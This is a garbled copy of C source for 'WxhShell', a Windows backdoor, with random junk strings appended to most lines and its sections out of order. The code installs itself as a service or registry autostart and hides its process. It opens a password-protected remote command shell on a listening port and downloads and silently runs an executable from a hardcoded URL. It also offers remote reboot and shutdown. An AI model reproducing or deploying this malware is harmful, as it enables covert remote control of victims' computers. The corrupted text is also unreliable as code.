ULONG UniqueProcessId; ,)oUdwR k
ULONG InheritedFromUniqueProcessId; <=jE,6_|
} PROCESS_BASIC_INFORMATION; fkk\Q>J9!=
nC[L"%E|se
PROCNTQSIP NtQueryInformationProcess; zL)m!:_
w_\niqm<y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z8nNZ<k
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q]
,&$d^@
*K m%Vl
HANDLE hProcess; 6 D~b9e
PROCESS_BASIC_INFORMATION pbi; 4[+n;OI
-?'u"*#1,
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m=j7 vb
if(NULL == hInst ) return 0; ds7I .Q'
2ht<"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dwJ'hg
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MdEZ839J
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Xg.\B1d
Ibpk\a?A{
if (!NtQueryInformationProcess) return 0; G9}[g)R*
/r}t
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9\Yj`,i5
if(!hProcess) return 0; xPsuDi8u
htMpL
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
]km8M^P
H={fY:%
CloseHandle(hProcess); T#er5WOH
lR;<6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1 ht4LRFi
if(hProcess==NULL) return 0; nm\n\j~
xNq&_oY7
HMODULE hMod; 3-LO
char procName[255]; ~u}[VP
unsigned long cbNeeded; wm@1jLjrQ
WWq)CwR
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #2x\d
~Bj-n6 QDE
CloseHandle(hProcess); \?
MuORg
BflF*-s ^
if(strstr(procName,"services")) return 1; // 以服务启动
bQ
(:E^} &A
return 0; // 注册表启动 Jq?ai8
} "kf7??Z
m,*t}j0 7
// 主模块 1Pn!{ bU3@
int StartWxhshell(LPSTR lpCmdLine) ;~/
{ o+6Y/6Xp@
SOCKET wsl; 1VJE+3
BOOL val=TRUE; ^B]M- XG
int port=0; gKS^-X{x
struct sockaddr_in door; W&Fa8
<8jn_6
if(wscfg.ws_autoins) Install(); 3H4p$\;C
+J.^JXyp0
port=atoi(lpCmdLine); 5l{_E:.1
51&wH
if(port<=0) port=wscfg.ws_port; 1v,4[;{
N"HN]Y@w
WSADATA data; ~_^nWT*BV
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b/
~&M+)
]iPTB
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _0Wdm*
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -,zNFC:6g
door.sin_family = AF_INET; q]'VVlP)
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dr`A4LnqY
door.sin_port = htons(port); &=_YL
)[%#HT
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9)H~I/9Y
closesocket(wsl); : @YZ6?hf
return 1; i,b>&V/Y$
} #(XP=PUj
3MkF
if(listen(wsl,2) == INVALID_SOCKET) { ?i9LqHL
closesocket(wsl); Lqwc:%Y:_
return 1; g($ y4~#
} N2q'$o
Wxhshell(wsl); ~-'nEA TE
WSACleanup(); aD%")eP%&
X0P<ifIv
return 0; C]eb=rw$
P#76ehR]K
} shP,-Vs#
#gi&pR'$
// 以NT服务方式启动 W;Fcp
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =]etw
{ J#'c+\B<2X
DWORD status = 0; CUY2eQJ{U
DWORD specificError = 0xfffffff; %Ix^Xb0
Y }e$5
serviceStatus.dwServiceType = SERVICE_WIN32; Xj|j\2$ 0
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;QW)tv.y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3%k@,Vvt
serviceStatus.dwWin32ExitCode = 0; FnL~8otPF'
serviceStatus.dwServiceSpecificExitCode = 0; |A0kbC.
serviceStatus.dwCheckPoint = 0; ;~xkT'
serviceStatus.dwWaitHint = 0; KA%tVBl
5b|_?Em7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); //|9J(B]
if (hServiceStatusHandle==0) return; >&BgF*mm
\s+<w3
status = GetLastError(); JnPA; 1@/
if (status!=NO_ERROR) bzB9u&
{ [R& P.E7w'
serviceStatus.dwCurrentState = SERVICE_STOPPED; Etn]e;z4
serviceStatus.dwCheckPoint = 0; !K6: W1
serviceStatus.dwWaitHint = 0; W99Fb+$I
serviceStatus.dwWin32ExitCode = status; E~{-RZNK
serviceStatus.dwServiceSpecificExitCode = specificError; /:C"n|P7Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7F.>M
return; #WfJz}P,!
} $+V{2k4X,
MqXA8D
serviceStatus.dwCurrentState = SERVICE_RUNNING; rd. "mG.
serviceStatus.dwCheckPoint = 0; Q:@Y/4=
serviceStatus.dwWaitHint = 0; va#~ \%`
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %qN8uQx
} EMJio\
GawLQst[+
// 处理NT服务事件,比如:启动、停止 ZLo3
0*
VOID WINAPI NTServiceHandler(DWORD fdwControl) sveFxI
{ tA'i-D&
switch(fdwControl) <>2QDI6_
{ )3z.{.F
case SERVICE_CONTROL_STOP:
31J7# S2
serviceStatus.dwWin32ExitCode = 0; IKAF%0[R|j
serviceStatus.dwCurrentState = SERVICE_STOPPED; cUS2*7h
serviceStatus.dwCheckPoint = 0; `(Ei-$
>U&
serviceStatus.dwWaitHint = 0; 6n;ew l}
{ @(Q4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 42Ql^ka
} $mp7IZE|
return; Lf7iOW9U3
case SERVICE_CONTROL_PAUSE: ,]20I _
serviceStatus.dwCurrentState = SERVICE_PAUSED; PP$Ig2Q
break; 1AA(qE
case SERVICE_CONTROL_CONTINUE: Yo(8mtYU
serviceStatus.dwCurrentState = SERVICE_RUNNING; CbK7="48
break; y\)bxmC
case SERVICE_CONTROL_INTERROGATE: dI'C[.zp[
break; e`8z1r
}; gY;N>Yq,C
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e#&[4 tQF
} := *>:*.Kb
o3}12i S
// 标准应用程序主函数 `| R8WM
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *1%=?:$(r6
{ aLq=%fsV)
L'z?M]
// 获取操作系统版本 0~BQ8O=+mn
OsIsNt=GetOsVer(); zB 7wGl9
GetModuleFileName(NULL,ExeFile,MAX_PATH); :tR%y"
E39:}_IV
// 从命令行安装 Cg )#B+
if(strpbrk(lpCmdLine,"iI")) Install(); %l3RM*zb
?mgr#UN
// 下载执行文件 <}B|4($
if(wscfg.ws_downexe) { 5F&i/8Ib
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]P] lG-
WinExec(wscfg.ws_filenam,SW_HIDE); c3oI\lU
}
xAz gQ
^W#[6]S
if(!OsIsNt) { @yobT,DXi
// 如果时win9x,隐藏进程并且设置为注册表启动 $W`
&7
HideProc(); :GGsQ
n
StartWxhshell(lpCmdLine); K\n %&w
} 0Wv9K~F
else Tz%l9aC
if(StartFromService()) Ia>qVM0
// 以服务方式启动 t}NxD`8
StartServiceCtrlDispatcher(DispatchTable); &
}k=V4L
else L\hPw{)
// 普通方式启动 `1pri0!
StartWxhshell(lpCmdLine); )?Jj#HtW
y]cx}9~
return 0; VVCCPK^<
} zIRa%%.i<
gU+BRTZ&x
(Grj_p6O
F
\} Kh3
=========================================== z XVQLz5
@/|sOF;8W
;zz"95X7
LnR3C:NO k
+wT,dUin_<
7 yF#G 9,
" Z<ke!H
oJXZ}>>iT
#include <stdio.h> tDIzn`$z
#include <string.h> [iL2c=_
#include <windows.h> jY ^ndr0;
#include <winsock2.h> Z AZQFr'*
#include <winsvc.h> B[b'OtH
#include <urlmon.h> i?*&1i@
h1)p{5}H
#pragma comment (lib, "Ws2_32.lib") )
e;F@o3
#pragma comment (lib, "urlmon.lib") j-yD;N
MZL~IX
#define MAX_USER 100 // 最大客户端连接数 /<|J \G21
#define BUF_SOCK 200 // sock buffer mc9$"
#define KEY_BUFF 255 // 输入 buffer <-FZ-asem
kC LeHH|K
#define REBOOT 0 // 重启 j|+B|
#define SHUTDOWN 1 // 关机 ?&/9b)c S
P[gk9{sv
#define DEF_PORT 5000 // 监听端口 QC
]z--wu
p'xj:bB
#define REG_LEN 16 // 注册表键长度 VFG)|Z
#define SVC_LEN 80 // NT服务名长度 .@=d I
:i:Zc~%
// 从dll定义API wl(}F^:/`
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =PO/Q|-v?
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :q6hT<f;
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &TC
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r Ld,Izi
U76:F?MH
// wxhshell配置信息 o"'VI4
struct WSCFG { )%#hpP M^
int ws_port; // 监听端口 a#G7pZX/I}
char ws_passstr[REG_LEN]; // 口令 6p1TI1(
int ws_autoins; // 安装标记, 1=yes 0=no _#N~$
char ws_regname[REG_LEN]; // 注册表键名 GI6 EZ}.MZ
char ws_svcname[REG_LEN]; // 服务名 B_}=v$
char ws_svcdisp[SVC_LEN]; // 服务显示名 bM;tQ38*
char ws_svcdesc[SVC_LEN]; // 服务描述信息 /dWuHS
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j}h50*6KO
int ws_downexe; // 下载执行标记, 1=yes 0=no a&Z|3+ZA
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hoU&'P8
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rzb663d
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}; $,6= .YuY
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// default Wxhshell configuration QW~o+N~~
struct WSCFG wscfg={DEF_PORT, N#ex2c
"xuhuanlingzhe", EH4WR/x
1, :_^9.`
"Wxhshell", %J+$p\c
"Wxhshell", "gK2!N|#
"WxhShell Service", YZ*Si3L
"Wrsky Windows CmdShell Service", ^Jc~G~x4*
"Please Input Your Password: ", uP+
j_is
1, `o:)PTQNg
"http://www.wrsky.com/wxhshell.exe", $ g1p!
"Wxhshell.exe" JTz1M~
}; @&h<jM{D
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// 消息定义模块 gb@!Co3
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; < u^41
char *msg_ws_prompt="\n\r? for help\n\r#>"; ! '2'db
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u#
%7>=
char *msg_ws_ext="\n\rExit."; }Pw5*duq
char *msg_ws_end="\n\rQuit."; !$_mWz
char *msg_ws_boot="\n\rReboot..."; kW-5H;>
char *msg_ws_poff="\n\rShutdown..."; #!,xjd
char *msg_ws_down="\n\rSave to "; ,pAMQ5
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char *msg_ws_err="\n\rErr!"; ;gW~+hW ^
char *msg_ws_ok="\n\rOK!"; {P = {)
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char ExeFile[MAX_PATH]; ]FFU,me2
int nUser = 0; /Ee0S8!Z!1
HANDLE handles[MAX_USER]; 2<